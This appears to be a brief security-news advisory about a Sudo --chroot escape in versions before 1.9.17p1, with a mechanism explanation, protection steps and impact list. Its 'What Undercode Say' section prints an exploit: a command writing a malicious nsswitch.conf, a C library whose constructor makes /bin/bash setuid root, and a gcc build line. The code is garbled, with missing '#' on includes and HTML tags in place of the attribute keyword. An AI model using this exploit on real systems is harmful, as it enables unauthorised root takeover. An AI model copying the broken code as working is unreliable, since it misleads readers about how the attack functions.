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How the mentioned CVE works:
The vulnerability exists in Sudo’s `–chroot` option. When this option is used, Sudo changes the root directory for the command it executes. A flaw causes Sudo to incorrectly load the Name Service Switch (NSS) configuration file, /etc/nsswitch.conf, from outside the newly established chroot environment. Specifically, it reads this file from the host’s filesystem, from a directory controlled by the unprivileged user invoking the command. By creating a malicious `nsswitch.conf` file, a local attacker can specify arbitrary, attacker-controlled NSS modules to be loaded by Sudo. Since Sudo executes with elevated privileges, these malicious modules run with high privileges, allowing the attacker to execute arbitrary code and ultimately achieve full root access on the host system, completely bypassing the intended chroot isolation.
Platform: Linux/Unix
Version: Before 1.9.17p1
Vulnerability : Chroot Escape
Severity: Critical
date: 2025-06-30
Prediction: 2025-07-30
What Undercode Say:
sudo --chroot=/path/to/fake/root /bin/bash
cat > /tmp/host/etc/nsswitch.conf << 'EOF' passwd: files /tmp/hack.so group: files /tmp/hack.so EOF
// Example malicious NSS module (hack.c)
include <nss.h>
include <stdlib.h>
<strong>attribute</strong>((constructor)) void init() {
system("chmod 4755 /bin/bash");
}
gcc -shared -o /tmp/hack.so /tmp/hack.c
How Exploit:
Attacker controls local directory.
Creates malicious nsswitch.conf.
Specifies path to malicious library.
Executes sudo with –chroot.
Malicious library loads as root.
Arbitrary code execution occurs.
Protection from this CVE
Upgrade Sudo version.
Apply vendor patches.
Verify chroot integrity.
Restrict sudo privileges.
Monitor for exploits.
Impact:
Full root compromise.
Complete chroot escape.
Host system control.
Privilege escalation.
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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